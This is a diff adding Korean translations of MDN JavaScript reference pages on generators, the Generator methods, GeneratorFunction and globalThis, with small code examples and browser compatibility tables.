+"function hello() {
+    console.log(\"Hello, World!\");
+}"</pre>
+ </li>
+</ul>
+
+<p>이 메소드는 보통 JavaScript 에 의해 내부적으로 호출되며 코드에서 명시적으로 사용되지 않습니다. 디버깅할 때 객체의 컨텐츠를 검사하기 위해 <code>toSource</code> 를 호출해보실 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<p>어떠한 표준의 일부도 아닙니다. JavaScript 1.3 에서 구현되었습니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Function.toSource")}}</p>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/generator/index.html b/files/ko/web/javascript/reference/global_objects/generator/index.html
new file mode 100644
index 0000000000..d29b282355
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/generator/index.html
@@ -0,0 +1,186 @@
+---
+title: Generator
+slug: Web/JavaScript/Reference/Global_Objects/Generator
+tags:
+  - ECMAScript 2015
+  - Generator
+  - JavaScript
+  - Legacy Generator
+  - Legacy Iterator
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Generator</strong></code> 객체는 {{jsxref("Statements/function*", "generator function", "", 1)}} 으로부터 반환된 값이며 <a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">반복자와 반복자 프로토콜</a>을 준수합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen(); // "Generator { }"</pre>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Generator.prototype.next()")}}</dt>
+ <dd>{{jsxref("Operators/yield", "yield")}} 표현을 통해 yield된 값을 반환합니다.</dd>
+ <dt>{{jsxref("Generator.prototype.return()")}}</dt>
+ <dd>주어진 값을 반환하고 생성기를 종료합니다.</dd>
+ <dt>{{jsxref("Generator.prototype.throw()")}}</dt>
+ <dd>생성기로 에러를 throw합니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="무한_반복자">무한 반복자</h3>
+
+<pre class="brush: js">function* idMaker(){
+    var index = 0;
+    while(true)
+        yield index++;
+}
+
+var gen = idMaker(); // "Generator { }"
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+// ...</pre>
+
+<h2 id="오래된_Generator_객체">오래된 Generator 객체</h2>
+
+<p>Firefox (SpiderMonkey)는 <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a>에서 이전 버전의 생성기도 구현 했습니다.이 버전에서는 함수 선언에서 별표 (*)가 필요하지 않습니다 (함수 본문에서 <code>yield</code> 키워드 만 사용). 그러나 오래된 생성기는 더 이상 사용되지 않습니다. 사용하지 마십시오. 곧 제거 될 것입니다 ({{bug(1083482)}}).</p>
+
+<h3 id="오래된_Generator_메서드들">오래된 Generator 메서드들</h3>
+
+<dl>
+ <dt><code>Generator.prototype.next() </code>{{non-standard_inline}}</dt>
+ <dd>{{jsxref("Operators/yield", "yield")}} 표현을 통해 yield된 값을 반환합니다. ES2015 Generator 객체의 <code>next()</code> 에 해당합니다.</dd>
+ <dt><code>Generator.prototype.close()</code> {{non-standard_inline}}</dt>
+ <dd>Generator를 닫고, <code>next()가 호출되면 </code>{{jsxref("StopIteration")}} 에러를 던집니다. ES2015 Generator 객체의 <code>return()</code> 에 해당합니다.</dd>
+ <dt><code>Generator.prototype.send()</code> {{non-standard_inline}}</dt>
+ <dd>Generator에 값을 전달하기 위해 사용 합니다. 이 값은 {{jsxref("Operators/yield", "yield")}} 표현식에서 반환되고, 다음 {{jsxref("Operators/yield", "yield")}} 표현식으로 부터 yield된 값을 반환합니다. <code>send(x)</code>는 ES2015 Generator 객체의 <code>next(x)에 해당합니다</code>.</dd>
+ <dt><strong><code>Generator.</code></strong><code>prototype.</code><strong><code>throw()</code> </strong> {{non-standard_inline}}</dt>
+ <dd>Generator 로 에러를 throw합니다. ES2015 Generator 객체의 <code>throw()</code> 에 해당합니다.</dd>
+</dl>
+
+<h3 id="오래된_Generator_예제">오래된 Generator 예제</h3>
+
+<pre class="brush: js">function* fibonacci() {
+  var a = yield 1;
+  yield a * 2;
+}
+
+var it = fibonacci();
+console.log(it);          // "Generator {  }"
+console.log(it.next());   // 1
+console.log(it.send(10)); // 20
+console.log(it.close());  // undefined
+console.log(it.next());   // throws StopIteration (as the generator is now closed)</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class=" standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator-objects', 'Generator objects')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator-objects', 'Generator objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<h3 id="오래된_Generator">오래된 Generator</h3>
+
+<ul>
+ <li>{{jsxref("Statements/Legacy_generator_function", "The legacy generator function", "", 1)}}</li>
+ <li>{{jsxref("Operators/Legacy_generator_function", "The legacy generator function expression", "", 1)}}</li>
+ <li>{{jsxref("StopIteration")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features/The_legacy_Iterator_protocol">The legacy Iterator protocol</a></li>
+</ul>
+
+<h3 id="ES2015_Generator">ES2015 Generator</h3>
+
+<ul>
+ <li>{{jsxref("Functions", "Functions", "", 1)}}</li>
+ <li>{{jsxref("Statements/function", "function")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/generator/next/index.html b/files/ko/web/javascript/reference/global_objects/generator/next/index.html
new file mode 100644
index 0000000000..7f041f9d9b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/generator/next/index.html
@@ -0,0 +1,153 @@
+---
+title: Generator.prototype.next()
+slug: Web/JavaScript/Reference/Global_Objects/Generator/next
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/next
+---
+<div>{{JSRef}}</div>
+
+<p> <code><strong>next</strong></code><strong><code>()</code></strong> 메소드는 <code>done</code>과 <code>value</code> <code>프로퍼티를 가진 객체를 반환한다</code>. 또한 <code><strong>next</strong></code><strong><code>()</code> </strong><code>메소드를 호출할 때 매개변수를 제공하여 그 값을 generator에 전달할 수 있다.</code></p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code><var>gen</var>.next(value)</code></pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Generator에 전달할 값</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>두 개의 프로퍼티를 가진 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">객체</a></code>:</p>
+
+<ul>
+ <li><code>done</code> (boolean)
+
+  <ul>
+   <li>Iterator(반복자)가 마지막 반복 작업을 마쳤을 경우 <code>true</code>. 만약 iterator(반복자)에 <em>return 값</em>이 있다면 <code>value</code>의 값으로 지정된다.</li>
+   <li>Iterator(반복자)의 작업이 남아있을 경우 <code>false</code>. Iterator(반복자)에 <code>done</code> 프로퍼티 자체를 특정짓지 않은 것과 동일하다.</li>
+  </ul>
+ </li>
+ <li><code>value</code> - Iterator(반복자)으로부터 반환되는 모든 자바스크립트 값이며 <code>done</code>이 <code>true</code>일 경우 생략될 수 있다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="next()_사용하기"><code>next()</code> 사용하기</h3>
+
+<p>아래의 예시는 간단한 generator와 <code>next</code> 메소드를 통해서 반환되는 객체이다:</p>
+
+<pre class="brush: js">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen(); // "Generator { }"
+g.next();      // "Object { value: 1, done: false }"
+g.next();      // "Object { value: 2, done: false }"
+g.next();      // "Object { value: 3, done: false }"
+g.next();      // "Object { value: undefined, done: true }"
+</pre>
+
+<h3 id="Generator에_값_전달하기">Generator에 값 전달하기</h3>
+
+<p>이 예시에서는 <code>next</code>가 값과 함께 호출되었다. 첫 번째 호출이 아무것도 출력하지 않은 것은 Generator가 아직 아무런 값도 <code>yield</code> 하지않았기 때문이다. (두 번째 호출과 함께 전달된 정수 2는 Generator 내부의 <code>yield</code> 키워드에 전달되어 <code>value</code>로 할당되었고 <code>console.log</code>로 출력되었다)</p>
+
+<pre class="brush: js">function* gen() {
+  while(true) {
+    var value = yield null;
+    console.log(value);
+  }
+}
+
+var g = gen();
+g.next(1);
+// "{ value: null, done: false }"
+g.next(2);
+// "{ value: null, done: false }"
+// 2
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-generator.prototype.next', 'Generator.prototype.next')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator.prototype.next', 'Generator.prototype.next')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(26)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(26)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">function*</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iterators and generators</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/generator/return/index.html b/files/ko/web/javascript/reference/global_objects/generator/return/index.html
new file mode 100644
index 0000000000..0c2f9b929d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/generator/return/index.html
@@ -0,0 +1,132 @@
+---
+title: Generator.prototype.return()
+slug: Web/JavaScript/Reference/Global_Objects/Generator/return
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/return
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>return()</strong></code> 메소드는 제공된 값을 반환하고 Generator를 종료시킨다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code><var>gen</var>.return(value)</code></pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>반환될 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>이 함수의 호출과 함께 주어진 인수 값을 반환한다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="return()_사용"><code>return()</code> 사용</h3>
+
+<p>아래의 예시는 간단한 Generator와 <code>return</code> 메소드를 보여준다.</p>
+
+<pre class="brush: js">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen();
+
+g.next();        // { value: 1, done: false }
+g.return("foo"); // { value: "foo", done: true }
+g.next();        // { value: undefined, done: true }
+</pre>
+
+<h2 id="참고사항">참고사항:</h2>
+
+<p>만약 <code>done</code>이 <code>true</code>이면 반환되는 객체의 <code>value</code> 프로퍼티의 값은 <code>undefined</code>이다. (<code>return</code>(값)은 <code>next</code>()와 동일)</p>
+
+<pre>function* gen() {yield 1;}
+var g = gen();
+console.log(g.next());//{ value: 1, done: false }
+console.log(g.next());//{ value: undefined, done: true }
+console.log(g.return(1)); //{ value: undefined, done: true }</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-generator.prototype.return', 'Generator.prototype.return')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator.prototype.return', 'Generator.prototype.return')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(38)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(38)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">function*</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/generator/throw/index.html b/files/ko/web/javascript/reference/global_objects/generator/throw/index.html
new file mode 100644
index 0000000000..534eefe0f6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/generator/throw/index.html
@@ -0,0 +1,99 @@
+---
+title: Generator.prototype.throw()
+slug: Web/JavaScript/Reference/Global_Objects/Generator/throw
+tags:
+  - ECMAScript 2015
+  - Generator
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/throw
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>throw()</strong></code> 메서드는 Generator의 실행을 재개시키고 Generator 함수의 실행 문맥 속으로 error를 주입한다. <code>done</code>과 <code>value</code> 프로퍼티를 가진 객체를 반환한다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>gen</var>.throw(exception)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>exception</code></dt>
+ <dd>Generator 함수의 실행 문맥 속으로 주입할 예외. 디버깅의 목적이라면 <code>instanceof</code> {{jsxref("Error")}} 인 것이 유용하다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>두 개의 프로퍼티를 가진 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">객체</a></code></p>
+
+<ul>
+ <li><code>done</code> (boolean)
+
+  <ul>
+   <li>Iterator(반복자)가 마지막 반복 작업을 마쳤을 경우 <code>true</code>. 만약 iterator(반복자)에 <em>return 값</em>이 있다면 <code>value</code>의 값으로 지정된다.</li>
+   <li>Iterator(반복자)의 작업이 남아있을 경우 <code>false</code>. Iterator(반복자)에 <code>done</code> 프로퍼티 자체를 특정짓지 않은 것과 동일하다.</li>
+  </ul>
+ </li>
+ <li><code>value</code> - Iterator(반복자)으로부터 반환되는 모든 자바스크립트 값이며 <code>done</code>이 <code>true</code>일 경우 생략될 수 있다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="throw()_사용하기"><code>throw()</code> 사용하기</h3>
+
+<p>다음의 예시는 간단한 Generator 함수와 throw 메소드를 통해서 주입된 에러를 보여준다. 에러는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code>블록을 통해서 핸들링 할 수 있다.</p>
+
+<pre class="brush: js">function* gen() {
+  while(true) {
+    try {
+       yield 42;
+    } catch(e) {
+      console.log("Error caught!");
+    }
+  }
+}
+
+var g = gen();
+g.next();
+// { value: 42, done: false }
+g.throw(new Error("Something went wrong"));
+// "Error caught!"
+// { value: 42, done: false }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Generator.throw")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Statements/function*">function*</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/generatorfunction/index.html b/files/ko/web/javascript/reference/global_objects/generatorfunction/index.html
new file mode 100644
index 0000000000..73ee12769d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/generatorfunction/index.html
@@ -0,0 +1,112 @@
+---
+title: GeneratorFunction
+slug: Web/JavaScript/Reference/Global_Objects/GeneratorFunction
+tags:
+  - Constructor
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>GeneratorFunction</code> 생성자</strong>는 새로운 {{jsxref("Statements/function*", "generator function")}} 객체를 생성한다. JavaScript 에서 모든 generator function 은 실제로 <code>GeneratorFunction</code> object 이다.</p>
+
+<p>주의할 점은, <code>GeneratorFunction</code> 이 전역 객체(global object)가 아니란 점이다. GeneratorFunction은 다음의 코드를 실행해서 얻을 수 있다.</p>
+
+<pre class="brush: js">Object.getPrototypeOf(function*(){}).constructor
+</pre>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>new GeneratorFunction ([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>이 함수에서 공식적인 argument 이름들로 사용되는 이름들이다. 각각은 유효한 Javascript 식별자이거나 쉼표로 구분된 문자열 리스트에 해당되는 문자열이어야 한다; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd>
+ <dt><code>functionBody</code></dt>
+ <dd>함수 정의를 구성하는 JavaScript 문이 포함된 문자열.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p><code>GeneratorFunction</code> 생성자로 생성된 {{jsxref("Statements/function*", "generator function")}} 객체는 그 함수가 생성될 때 분석한다. 이러한 함수들이 나머지 코드들과 함께 분석되기 때문에, {{jsxref("Statements/function*", "function* expression")}}으로 generator function을 선언하고 코드 내에서 호출하는 것보다 덜 효율적입니다.</p>
+
+<p>그 함수로 전달된 모든 arguments는 생성될 함수 안에서 파라미터의 식별자 이름으로 그것들이 전달된 순서대로 처리된다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> {{jsxref("Statements/function*", "generator function")}} created with the <code>GeneratorFunction</code> constructor do not create closures to their creation contexts; they always are created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the <code>GeneratorFunction</code> constructor was called. This is different from using {{jsxref("Global_Objects/eval", "eval")}} with code for a generator function expression.</p>
+</div>
+
+<p>new 없이 <code>GeneratorFunction</code> 생성자를 함수처럼 사용하는 것은 생성자처럼 사용하는 것과 동일한 효과를 갖는다.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt><code><strong>GeneratorFunction.length</strong></code></dt>
+ <dd><code>GeneratorFunction</code> 생성자의 length 속성으로 1 값을 갖는다.</dd>
+ <dt>{{jsxref("GeneratorFunction.prototype")}}</dt>
+ <dd>모든 generator function objects 에 속성의 추가를 허용한다.</dd>
+</dl>
+
+<h2 id="GeneratorFunction_prototype_object"><code>GeneratorFunction</code> prototype object</h2>
+
+<h3 id="Properties_2">Properties</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype', 'Properties')}}</div>
+
+<h2 id="GeneratorFunction_instances"><code>GeneratorFunction</code> instances</h2>
+
+<p><code>GeneratorFunction</code> 인스턴스는 {{jsxref("GeneratorFunction.prototype")}} 으로부터 속성과 메서드를 상속한다. 다른 모든 생성자들처럼, 생성자의 prototype object 를 변경함으로써 모든 <code>GeneratorFunction</code> instance 에 변화를 줄 수 있다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="GeneratorFunction_생성자로_generator_function_생성하기">GeneratorFunction 생성자로 generator function 생성하기</h3>
+
+<pre class="brush: js">var GeneratorFunction = Object.getPrototypeOf(function*(){}).constructor
+var g = new GeneratorFunction("a", "yield a * 2");
+var iterator = g(10);
+console.log(iterator.next().value); // 20
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-generatorfunction-objects', 'GeneratorFunction')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generatorfunction-objects', 'GeneratorFunction')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.GeneratorFunction")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/function*", "function* function")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Global_Objects/Function", "Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope", "", 1)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/globalthis/index.html b/files/ko/web/javascript/reference/global_objects/globalthis/index.html
new file mode 100644
index 0000000000..df3323a00b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/globalthis/index.html
@@ -0,0 +1,89 @@
+---
+title: globalThis
+slug: Web/JavaScript/Reference/Global_Objects/globalThis
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/globalThis
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>전역 <code><strong>globalThis</strong></code> 속성은 전역 <code>this</code> 값을 가진 전역 객체를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-globalthis.html")}}</div>
+
+
+
+<p>{{JS_Property_Attributes(1, 0, 1)}}</p>
+
+<h2 id="설명">설명</h2>
+
+<p>역사적으로, 서로 다른 JavaScript 환경의 전역 범위에 접근하는건 서로 다른 구문을 필요로 했습니다. 웹에서는 {{domxref("Window.window", "window")}}, {{domxref("Window.self", "self")}}, {{domxref("Window.frames", "frames")}}를 사용할 수 있지만, <a href="/ko/docs/Web/API/Worker">Web Workers</a>에서는 <code>self</code>만 동작합니다. Node.js에서는 아무것도 쓸 수 없고, 대신 <code>global</code>을 사용해야 합니다.<br>
+ 비엄격 모드에서의 함수 내부에서 <code>this</code>를 사용할 수도 있겠지만, 모듈이나 엄격 모드의 함수에서는 {{jsxref("undefined")}}를 가리키는 문제가 있습니다.<code> Function('return this')()</code>를 사용하는 방법도 존재하지만, 브라우저의 {{glossary("CSP")}} 등으로 {{jsxref("eval", "eval()")}}을 사용할 수 없는 환경에선 {{jsxref("Function")}}도 이렇게 사용할 수 없습니다.</p>
+
+<p><code>globalThis</code> 속성은 환경에 무관하게 전역 <code>this</code> 값, 즉 전역 객체에 접근하는 표준 방법을 제공합니다. <code>window</code>, <code>self</code> 등 비슷한 속성과는 다르게 브라우저/비 브라우저 맥락 모두에서의 동작을 보장합니다. 따라서 코드를 구동하는 환경을 모르더라도 전역 객체에 일관적으로 접근할 수 있습니다.</p>
+
+<h3 id="HTML과_WindowProxy">HTML과 WindowProxy</h3>
+
+<p>많은 JavaScript 엔진에서 <code>globalThis</code>는 실제 전역 객체를 가리킬 것이나, 웹 브라우저는 {{htmlelement("iframe")}}과 교차 창 보안 문제로 인하여 전역 객체를 감싼 {{jsxref("Proxy")}}를 대신 가리키고, 실제 객체에는 직접 접근할 수 없습니다. 일반적인 사용에는 차이가 없다고 봐도 무방하지만, 알아두는 것이 중요합니다.</p>
+
+<h3 id="이름">이름</h3>
+
+<p><code>self</code>와 <code>global</code>처럼, 다른 인기있던 제안은 기존 코드와의 호환성 문제를 우려해 제외됐습니다. <a href="https://github.com/tc39/proposal-global/blob/master/NAMING.md">언어 제안서의 "NAMING" 문서</a>를 방문해 더 자세한 정보를 읽어보세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="환경별_전역_접근">환경별 전역 접근</h3>
+
+<p><code>globalThis</code> 없이 현재 환경의 전역 객체를 가져오는 방법 중 유일하게 믿을만한 방법은 <code>Function('return this')()</code> 입니다. 그러나 일부 환경에서는 <a href="/ko/docs/Web/HTTP/CSP">CSP</a> 위반에 걸리는 코드이므로, <a href="https://github.com/paulmillr/es6-shim">es6-shim</a>은 대신 다음 검사를 수행합니다.</p>
+
+<pre class="brush: js notranslate">var getGlobal = function () {
+  if (typeof self !== 'undefined') { return self; }
+  if (typeof window !== 'undefined') { return window; }
+  if (typeof global !== 'undefined') { return global; }
+  throw new Error('unable to locate global object');
+};
+
+var globals = getGlobal();
+
+if (typeof globals.setTimeout !== 'function') {
+  // no setTimeout in this environment!
+}
+</pre>
+
